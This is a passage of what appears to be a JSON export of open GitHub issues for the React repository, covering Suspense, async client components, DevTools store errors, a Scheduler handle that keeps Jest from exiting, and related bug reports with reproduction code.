);\r\n }, 1000);\r\n })\r\n );\r\n return promise;\r\n}\r\n\r\nstartTransition(() => {\r\n root.render();\r\n});\r\n```\r\n\r\nhttps://codesandbox.io/s/immutable-moon-2h3dqz?file=/src/index.js\r\n\r\n## Working: startTransition + root component + 1000ms Promise in state + use\r\n\r\n```js\r\nimport { use, useState, startTransition } from \"react\";\r\nimport { createRoot } from \"react-dom/client\";\r\n\r\nconst rootElement = document.getElementById(\"root\");\r\nconst root = createRoot(rootElement);\r\n\r\nfunction Foo() {\r\n const [promise, setPromise] = useState(\r\n new Promise((resolve) => {\r\n setTimeout(() => {\r\n resolve(

hi

);\r\n }, 1000);\r\n })\r\n );\r\n return use(promise);\r\n}\r\n\r\nstartTransition(() => {\r\n root.render();\r\n});\r\n```\r\n\r\nhttps://codesandbox.io/s/hungry-carlos-1n8hqu?file=/src/index.js\r\n\r\n## Crashes: startTransition + 5000ms Promise root\r\n\r\nThis doesn't work (with a confusing crash):\r\n\r\n```js\r\nimport { startTransition } from \"react\";\r\nimport { createRoot } from \"react-dom/client\";\r\n\r\nconst rootElement = document.getElementById(\"root\");\r\nconst root = createRoot(rootElement);\r\n\r\nlet promise = new Promise((resolve) => {\r\n setTimeout(() => {\r\n resolve(

hi

);\r\n }, 5000); // <--- I increased the delay\r\n});\r\n\r\nstartTransition(() => {\r\n root.render(promise);\r\n});\r\n\r\n```\r\n\r\nhttps://codesandbox.io/s/busy-torvalds-xgbcgh?file=/src/index.js\r\n\r\n## Crashes: No startTransition + 1000ms Promise root\r\n\r\nThis doesn't work (with a confusing crash):\r\n\r\n```js\r\nimport { createRoot } from \"react-dom/client\";\r\n\r\nconst rootElement = document.getElementById(\"root\");\r\nconst root = createRoot(rootElement);\r\n\r\nlet promise = new Promise((resolve) => {\r\n setTimeout(() => {\r\n resolve(

hi

);\r\n }, 1000);\r\n});\r\n\r\nroot.render(promise); // No startTransition\r\n```\r\n\r\nhttps://codesandbox.io/s/serene-payne-677ghp?file=/src/index.js\r\n\r\n## Never resolves: No startTransition + root component + 1000ms Promise in state\r\n\r\n```js\r\nimport { useState } from \"react\";\r\nimport { createRoot } from \"react-dom/client\";\r\n\r\nconst rootElement = document.getElementById(\"root\");\r\nconst root = createRoot(rootElement);\r\n\r\nfunction Foo() {\r\n const [promise, setPromise] = useState(\r\n new Promise((resolve) => {\r\n setTimeout(() => {\r\n resolve(

hi

);\r\n }, 1000);\r\n })\r\n );\r\n return promise;\r\n}\r\n\r\nroot.render();\r\n```\r\n\r\nhttps://codesandbox.io/s/musing-chaplygin-2udvbx?file=/src/index.js\r\n\r\n## Never resolves: No startTransition + root component + 1000ms Promise in state + use\r\n\r\n```js\r\nimport { use, useState } from \"react\";\r\nimport { createRoot } from \"react-dom/client\";\r\n\r\nconst rootElement = document.getElementById(\"root\");\r\nconst root = createRoot(rootElement);\r\n\r\nfunction Foo() {\r\n const [promise, setPromise] = useState(\r\n new Promise((resolve) => {\r\n setTimeout(() => {\r\n resolve(

hi

);\r\n }, 1000);\r\n })\r\n );\r\n return use(promise);\r\n}\r\n\r\nroot.render();\r\n```\r\n\r\nhttps://codesandbox.io/s/blue-butterfly-3xywp2?file=/src/index.js:0-400", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/26886/reactions", "total_count": 2, "+1": 1, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 1, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/26801", "id": 1704347195, "node_id": "I_kwDOAJy2Ks5llkY7", "number": 26801, "title": "Bug: Don't crash the app if an async component is accidentally used on the client", "user": { "login": "acdlite", "id": 3624098, "node_id": "MDQ6VXNlcjM2MjQwOTg=", "avatar_url": "https://avatars.githubusercontent.com/u/3624098?v=4", "gravatar_id": "", "url": "https://api.github.com/users/acdlite", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 1109407645, "node_id": "MDU6TGFiZWwxMTA5NDA3NjQ1", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Suspense", "name": "Component: Suspense", "color": "8ffcd6", "default": false, "description": "" }, "1": { "id": 1775958285, "node_id": "MDU6TGFiZWwxNzc1OTU4Mjg1", "url": "https://api.github.com/repos/facebook/react/labels/React%20Core%20Team", "name": "React Core Team", "color": "9149d1", "default": false, "description": "Opened by a member of the React Core Team" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 3, "created_at": "2023-05-10T17:20:51Z", "updated_at": "2023-07-13T07:40:38Z", "closed_at": null, "assignee": null, "author_association": "COLLABORATOR", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "We don't yet officially support async/await in client components. (Refer to the RFC for more details: https://github.com/acdlite/rfcs/blob/first-class-promises/text/0000-first-class-support-for-promises.md#why-cant-client-components-be-async-functions)\r\n\r\n\r\nConfusingly, though, it does sometimes work, because the primitives are there to support it in the future.\r\n\r\nHowever, if you accidentally render an async component on the client (for example, when refactoring a Server Component to a client one), React should fail gracefully. Right now, in some cases, it will instead crash the app by falling into an infinite loop.\r\n\r\nLet's use this issue to track how we'll improve the DX for preventing async components (and async/await data fetching more generally) on the client.\r\n\r\nThis is _not_ about implementing support for async/await on the client. Although we will probably do that eventually, for now we're just focused on making it fail more gracefully.\r\n\r\nIn the meantime, if you're using a Server Components enabled framework like Next.js, you should prefer to do as much data fetching as possible in Server Components. For the remaining client cases, use an established framework like useSWR or React Query.\r\n\r\n- [ ] Detect and prevent an infinite loop caused by when uncached promise is rendered outside of a Suspense boundary.\r\n- [ ] Add a warning if an uncached promise is detected outside of a transition.", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/26801/reactions", "total_count": 7, "+1": 6, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 1 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/26612", "id": 1664953332, "node_id": "I_kwDOAJy2Ks5jPSv0", "number": 26612, "title": "Bug: Suspense should hide Portals deeper in the tree", "user": { "login": "gaearon", "id": 810438, "node_id": "MDQ6VXNlcjgxMDQzOA==", "avatar_url": "https://avatars.githubusercontent.com/u/810438?v=4", "gravatar_id": "", "url": "https://api.github.com/users/gaearon", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 1109407645, "node_id": "MDU6TGFiZWwxMTA5NDA3NjQ1", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Suspense", "name": "Component: Suspense", "color": "8ffcd6", "default": false, "description": "" } }, "state": "open", "locked": false, "assignees": { "0": { "login": "tyao1", "id": 5868353, "node_id": "MDQ6VXNlcjU4NjgzNTM=", "avatar_url": "https://avatars.githubusercontent.com/u/5868353?v=4", "gravatar_id": "", "url": "https://api.github.com/users/tyao1", "type": "User", "user_view_type": "public", "site_admin": false } }, "milestone": null, "comments": 1, "created_at": "2023-04-12T17:25:07Z", "updated_at": "2023-07-24T11:42:06Z", "closed_at": null, "assignee": { "login": "tyao1", "id": 5868353, "node_id": "MDQ6VXNlcjU4NjgzNTM=", "avatar_url": "https://avatars.githubusercontent.com/u/5868353?v=4", "gravatar_id": "", "url": "https://api.github.com/users/tyao1", "type": "User", "user_view_type": "public", "site_admin": false }, "author_association": "COLLABORATOR", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "When Portal is a direct child of Suspense, suspending hides the portal: https://codesandbox.io/s/cocky-boyd-mlq2ko?file=/src/App.js\r\n\r\nBut when a Portal is deeper in the tree, suspending fails to hide the portal nodes: https://codesandbox.io/s/nostalgic-fog-udyhuz?file=/src/App.js\r\n\r\nWe need to fix this to recursively hide portals. There's a question of which traversal to use, and how it combines with existing traversal. E.g. does \"hiding\" happen before layout effects run?\r\n\r\nWe would also need to decide what to do with legacy mode. One option is to \"fix\" it there too. But that might be difficult to roll out. It might also be tricky to implement. Another option is to leave it as is (the current behavior is leaving a \"hole\" in place of the suspended component: https://codesandbox.io/s/elastic-ptolemy-2u6qel?file=/src/App.js). Then we'd need to make sure we at least keep that buggy behavior.\r\n\r\nWe might want to add an internal-only warning (to be muted but logged on devservers) to track _newly hidden_ nodes portals that wouldn't have been hidden with the previous algorithm. Then maybe this would let us know where to fix the UI and avoid the UI regression caused by modals disappearing.\r\n\r\nSummary of work that needs to be done:\r\n\r\n- [ ] Port sandboxes to failing tests\r\n- [ ] Implement new behavior behind a flag\r\n - [ ] Figure out where hiding/showing happens during the commit phase\r\n - [ ] Add new behavior (all direct children of portals, no matter how deep, get auto-shown/hidden)\r\n - [ ] Decide what legacy renderer should do, write tests for that too\r\n - [ ] (Maybe) add internal-only muted logging for content that would be hidden with new behavior", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/26612/reactions", "total_count": 1, "+1": 1, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/26608", "id": 1664555100, "node_id": "I_kwDOAJy2Ks5jNxhc", "number": 26608, "title": "Bug: MessageChannel in Scheduler prevents Jest test from exiting", "user": { "login": "victor-homyakov", "id": 121449, "node_id": "MDQ6VXNlcjEyMTQ0OQ==", "avatar_url": "https://avatars.githubusercontent.com/u/121449?v=4", "gravatar_id": "", "url": "https://api.github.com/users/victor-homyakov", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 18, "created_at": "2023-04-12T13:18:32Z", "updated_at": "2025-12-10T12:10:14Z", "closed_at": null, "assignee": null, "author_association": "CONTRIBUTOR", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "React version: any\r\nScheduler version: any up to current (0.23.0)\r\n\r\n## Steps To Reproduce\r\n\r\n1. Create Jest unit test.\r\n2. Select JSDom as test environment so that runtime will not have `setImmediate` function.\r\n3. JSDom still does not implement `MessageChannel` https://github.com/jsdom/jsdom/issues/2448. If `MessageChannel` is required to test some important functionality, one can add an implementation from Node.js as recommended in comment https://github.com/jsdom/jsdom/issues/2448#issuecomment-536242756\r\n ```js\r\n window.MessageChannel = require('node:worker_threads').MessageChannel;\r\n ```\r\n4. Add Scheduler or React as a dependency and require it in the test or one of the files under test.\r\n5. Run test\r\n\r\nLink to code example: https://github.com/victor-homyakov/scheduler-jest-jsdom-example\r\n\r\n## The current behavior\r\n\r\nTest is endless. Jest won't stop. Console shows a message\r\n```\r\nJest did not exit one second after the test run has completed.\r\n\r\n'This usually means that there are asynchronous operations that weren't stopped in your tests. Consider running Jest with `--detectOpenHandles` to troubleshoot this issue.\r\n```\r\n\r\nRunning Jest with `--detectOpenHandles` outputs:\r\n\r\n```\r\nJest has detected the following 1 open handle potentially keeping Jest from exiting:\r\n\r\n ● MESSAGEPORT\r\n\r\n > 1 | require('scheduler');\r\n | ^\r\n\r\n at node_modules/scheduler/cjs/scheduler.development.js:569:17\r\n```\r\n\r\n## The expected behavior\r\n\r\nCode at https://github.com/facebook/react/blob/5426af3d50ff706f3ebeb4764f838e0a3812bf9a/packages/scheduler/src/forks/Scheduler.js#L621 should `unref` the handle:\r\n\r\n```js\r\n channel.port1.onmessage = performWorkUntilDeadline;\r\n // Allow the thread to exit if this is the only active handle in the event system\r\n if (channel.port1.unref) {\r\n channel.port1.unref();\r\n }\r\n```", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/26608/reactions", "total_count": 3, "+1": 3, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/26465", "id": 1637001845, "node_id": "I_kwDOAJy2Ks5hkqp1", "number": 26465, "title": "[DevTools Bug] Cannot add child \"1161\" to parent \"942\" because parent node was not found in the Store.", "user": { "login": "bhanuUdai", "id": 110327079, "node_id": "U_kgDOBpN1Jw", "avatar_url": "https://avatars.githubusercontent.com/u/110327079?v=4", "gravatar_id": "", "url": "https://api.github.com/users/bhanuUdai", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" }, "2": { "id": 620368407, "node_id": "MDU6TGFiZWw2MjAzNjg0MDc=", "url": "https://api.github.com/repos/facebook/react/labels/Resolution:%20Needs%20More%20Information", "name": "Resolution: Needs More Information", "color": "fffde7", "default": false, "description": null }, "3": { "id": 710573595, "node_id": "MDU6TGFiZWw3MTA1NzM1OTU=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools", "name": "Component: Developer Tools", "color": "fbca04", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 21, "created_at": "2023-03-23T07:36:11Z", "updated_at": "2026-03-09T00:34:05Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### Website or app\n\nchrome on local host\n\n### Repro steps\n\nit happen with every component that i mount \r\n\"Screenshot\r\n\n\n### How often does this bug happen?\n\nEvery time\n\n### DevTools package (automated)\n\nreact-devtools-extensions\n\n### DevTools version (automated)\n\n4.27.2-1a88fbb67\n\n### Error message (automated)\n\nCannot add child \"1161\" to parent \"942\" because parent node was not found in the Store.\n\n### Error call stack (automated)\n\n```text\nat chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:27939:43\r\n at bridge_Bridge.emit (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:25892:22)\r\n at chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:26061:14\r\n at listener (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:56323:39)\n```\n\n\n### Error component stack (automated)\n\n_No response_\n\n### GitHub query string (automated)\n\n```text\nhttps://api.github.com/search/issues?q=Cannot add child to parent because parent node was not found in the Store. in:title is:issue is:open is:public label:\"Component: Developer Tools\" repo:facebook/react\n```\n", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/26465/reactions", "total_count": 25, "+1": 25, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/26374", "id": 1620285061, "node_id": "I_kwDOAJy2Ks5gk5aF", "number": 26374, "title": "Bug: `createRoot` function from React@18 break the css `:target`", "user": { "login": "magic-akari", "id": 7829098, "node_id": "MDQ6VXNlcjc4MjkwOTg=", "avatar_url": "https://avatars.githubusercontent.com/u/7829098?v=4", "gravatar_id": "", "url": "https://api.github.com/users/magic-akari", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 21, "created_at": "2023-03-12T08:53:51Z", "updated_at": "2026-03-08T08:09:09Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "## Keywords\r\n\r\n- React 18\r\n- createRoot\r\n- CSS selector\r\n- CSS Target\r\n- :target\r\n\r\n\r\n\r\n## React version: React@18\r\n\r\n## Steps To Reproduce\r\n\r\n1. open https://joyful-kelpie-c3bb20.netlify.app/buggy.html\r\n2. click `go to react id target` link\r\n3. You should see the `react id target` with green background\r\n4. Refresh page. The green background disappears\r\n\r\n\r\n\r\nLink to code example:\r\n\r\nThe webpage source code is simple. You could check the source code directly.\r\n\r\nOr, you can check this:\r\nhttps://gist.github.com/magic-akari/475a13219394fb938cff4169a9b61eb7\r\n\r\n\r\n\r\n\r\n\r\n## The current behavior\r\nCSS target selector does not work.\r\nThe green background disappears after refresh pages.\r\n\r\n## The expected behavior\r\n\r\nCSS target selector should work after refresh pages.\r\n\r\nSee: https://joyful-kelpie-c3bb20.netlify.app/ok.html", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/26374/reactions", "total_count": 3, "+1": 3, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/26340", "id": 1615253421, "node_id": "I_kwDOAJy2Ks5gRs-t", "number": 26340, "title": "[DevTools Bug] Cannot add node \"621\" because a node with that id is already in the Store.", "user": { "login": "iprinceroyy", "id": 84081202, "node_id": "MDQ6VXNlcjg0MDgxMjAy", "avatar_url": "https://avatars.githubusercontent.com/u/84081202?v=4", "gravatar_id": "", "url": "https://api.github.com/users/iprinceroyy", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" }, "2": { "id": 710573595, "node_id": "MDU6TGFiZWw3MTA1NzM1OTU=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools", "name": "Component: Developer Tools", "color": "fbca04", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 15, "created_at": "2023-03-08T13:15:00Z", "updated_at": "2023-05-23T15:32:59Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### Website or app\n\nhttps://github.com/iprinceroyy/crwn-clothing\n\n### Repro steps\n\nBug report:\r\n1. Clone & run in the local environment.\r\n2. Sign in.\r\n3. Head over to the shop.\r\n4. Add some items to cart.\r\n5. Click on the cart icon.\n\n### How often does this bug happen?\n\nEvery time\n\n### DevTools package (automated)\n\nreact-devtools-extensions\n\n### DevTools version (automated)\n\n4.27.2-1a88fbb67\n\n### Error message (automated)\n\nCannot add node \"621\" because a node with that id is already in the Store.\n\n### Error call stack (automated)\n\n```text\nat chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:27863:41\r\n at bridge_Bridge.emit (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:25892:22)\r\n at chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:26061:14\r\n at listener (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:56323:39)\n```\n\n\n### Error component stack (automated)\n\n_No response_\n\n### GitHub query string (automated)\n\n```text\nhttps://api.github.com/search/issues?q=Cannot add node because a node with that id is already in the Store. in:title is:issue is:open is:public label:\"Component: Developer Tools\" repo:facebook/react\n```\n", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/26340/reactions", "total_count": 12, "+1": 12, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/26259", "id": 1602434150, "node_id": "I_kwDOAJy2Ks5fgzRm", "number": 26259, "title": "Bug: ErrorBoundary remounts children when errors are caught", "user": { "login": "fatton139", "id": 24207217, "node_id": "MDQ6VXNlcjI0MjA3MjE3", "avatar_url": "https://avatars.githubusercontent.com/u/24207217?v=4", "gravatar_id": "", "url": "https://api.github.com/users/fatton139", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 710375792, "node_id": "MDU6TGFiZWw3MTAzNzU3OTI=", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Discussion", "name": "Type: Discussion", "color": "fef2c0", "default": false, "description": null }, "1": { "id": 739761016, "node_id": "MDU6TGFiZWw3Mzk3NjEwMTY=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Reconciler", "name": "Component: Reconciler", "color": "f9a798", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 10, "created_at": "2023-02-28T06:10:57Z", "updated_at": "2024-04-28T14:27:15Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "\r\n\r\nIn the `render` block of a `ErrorBoundary` component the `props.children` is remounted when `getDerivedStateFromError` derives a new state (or `componentDidCatch` sets a state).\r\n\r\nIs this a special case ? Setting the state in any other manner (e.g `componentDidUpdate` doesn't have this behavior). I don't see this behavior documented in the React docs.\r\n\r\nThanks!\r\n\r\nReact version: 18.2.0 (Happens on 17.0.2 as well).\r\n\r\n## Steps To Reproduce\r\n\r\n1. In the code example increment the counter past 5 and the child component unmounts and mounts, the child state also resets\r\n\r\n\r\n\r\nLink to code example: https://codesandbox.io/s/nifty-platform-wub9wn?file=/src/App.tsx\r\n\r\n\r\n\r\n## The current behavior\r\n`props.children` unmounts and mounts.\r\n\r\n## The expected behavior\r\n`props.children` rerenders.\r\n\r\n", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/26259/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/26119", "id": 1573997252, "node_id": "I_kwDOAJy2Ks5d0UrE", "number": 26119, "title": "Feature request: Improved warning \"Functions are not valid as a React child...\"", "user": { "login": "roman01la", "id": 1355501, "node_id": "MDQ6VXNlcjEzNTU1MDE=", "avatar_url": "https://avatars.githubusercontent.com/u/1355501?v=4", "gravatar_id": "", "url": "https://api.github.com/users/roman01la", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 121709921, "node_id": "MDU6TGFiZWwxMjE3MDk5MjE=", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Feature%20Request", "name": "Type: Feature Request", "color": "c7def8", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 2, "created_at": "2023-02-07T09:40:15Z", "updated_at": "2023-02-09T08:38:30Z", "closed_at": null, "assignee": null, "author_association": "CONTRIBUTOR", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "Good day. Every time when I bump into the following error\r\n```\r\nWarning: Functions are not valid as a React child. This may happen if you return a Component instead of from render. Or maybe you meant to call this function rather than return it.\r\n```\r\nit takes me quite some time to locate the bad value in UI structure, even though there's a component trace in the console. What I think would improve by debugging experience if the error would also log the problematic value. This way I could know which value it is exactly in a single click in DevTools.", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/26119/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/26091", "id": 1566201687, "node_id": "I_kwDOAJy2Ks5dWldX", "number": 26091, "title": "Suspense API forces coupling of page-load sequence with runtime updates", "user": { "login": "ghbakhtiari", "id": 12446188, "node_id": "MDQ6VXNlcjEyNDQ2MTg4", "avatar_url": "https://avatars.githubusercontent.com/u/12446188?v=4", "gravatar_id": "", "url": "https://api.github.com/users/ghbakhtiari", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 710375792, "node_id": "MDU6TGFiZWw3MTAzNzU3OTI=", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Discussion", "name": "Type: Discussion", "color": "fef2c0", "default": false, "description": null }, "1": { "id": 1109407645, "node_id": "MDU6TGFiZWwxMTA5NDA3NjQ1", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Suspense", "name": "Component: Suspense", "color": "8ffcd6", "default": false, "description": "" }, "2": { "id": 1205087127, "node_id": "MDU6TGFiZWwxMjA1MDg3MTI3", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Concurrent%20Features", "name": "Component: Concurrent Features", "color": "ffccd3", "default": false, "description": "" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 10, "created_at": "2023-02-01T14:18:27Z", "updated_at": "2023-09-08T03:05:20Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "_(the prelude to this issue may be a bit abstract, but please bear with me!)_\r\n\r\n## Problem statement\r\nAs it has usually been the case in React and already stated in [its docs](https://reactjs.org/blog/2022/03/29/react-v18.html#what-is-concurrent-react):\r\n\r\n> When we [React] design APIs, we try to hide implementation details from developers. As a React developer, you focus on what you want the user experience to look like, and React handles how to deliver that experience...\r\n\r\nBut I think the new Suspense API -with all of its great features- contradicts this mindset to some degree.\r\nBecause looking at the library from the “usage” perspective, Suspense API enforces coupling of independent features together. Features that although are related from a technical standpoint, in reality can be fundamentally different.\r\n- For example, code-splitting is basically a separate subject from the other features. Because a developer may need code-splitting (for bundle size optimizations), but it doesn’t necessarily mean they want to render the lazy-loaded component in a delayed manner in the initial html coming from the SSR stream. They also may not want to delay that component’s hydration after other (non-suspense) parts are hydrated either.\r\n\r\nBut the main issue I’m referring to is about the other Suspense features that basically seem to enable a “federated-mode” (for the lack of a better word) that makes each suspended component act independently in the tree.\r\nThe problem is, they are coupling “SSR and page-load sequence” with “client-side runtime” and forcing product decisions on developers. Because:\r\n- On SSR, a developer may want to use partial streaming and selective/async hydration to provide performance boost for the initial page-load sequence. For example, if an end user initially opens a page that includes the details of an article scattered among multiple nested components, it makes sense to stream/render/hydrate different components of the article’s details (photos, title/description, ratings, comments, etc.) separately and as soon as possible (with some optional priorities).\r\n- But the developer doesn't necessarily need the application to act in the same way for the future updates and renders on the client side when a **change** happens. So for example when the user clicks to show a similar article and the page has to update on the client side to show the data of this different article, the developer should have the choice to make the page’s content (photos, title/description, ratings, comments, etc.) update together in a single graceful step - or batch some of the nested components’ loadings together (regardless of whether nested suspense boundaries were used). As opposed to each component getting updated independently, showing their own fallbacks independently, and rendering the new content independently while another component is still showing the old content or a fallback. Because this can cause discrepancies on the page, and aside from that, is inherently forcing a product decision on the developer. Basically, how/where to show fallback/loading states is a product/UX decision and the API shouldn’t force an approach.\r\n- Last but not least, regardless of all the previous usages of Suspense, it should still be possible to opt into **interruptible/concurrent rendering** on client side during runtime changes (after page-load) which allows pausing a rendering sequence and prioritizing user interactions, to benefit from the improvements to the user experience and the perceived performance.\r\n\r\n## Working example\r\nI think [this issue](https://github.com/facebook/react/issues/25082) is a great practical use-case of the problem of coupling behaviors on \"SSR/page-load sequence\" and \"client-side changes\" **even with the use of the `useTransition` api**, which also includes a working codeSandbox example.\r\n\r\n## Suggested solution\r\nI’m not sure what the \"best\" solution would be (e.g. to have a separate component other than Suspense, or change the `useTransition` 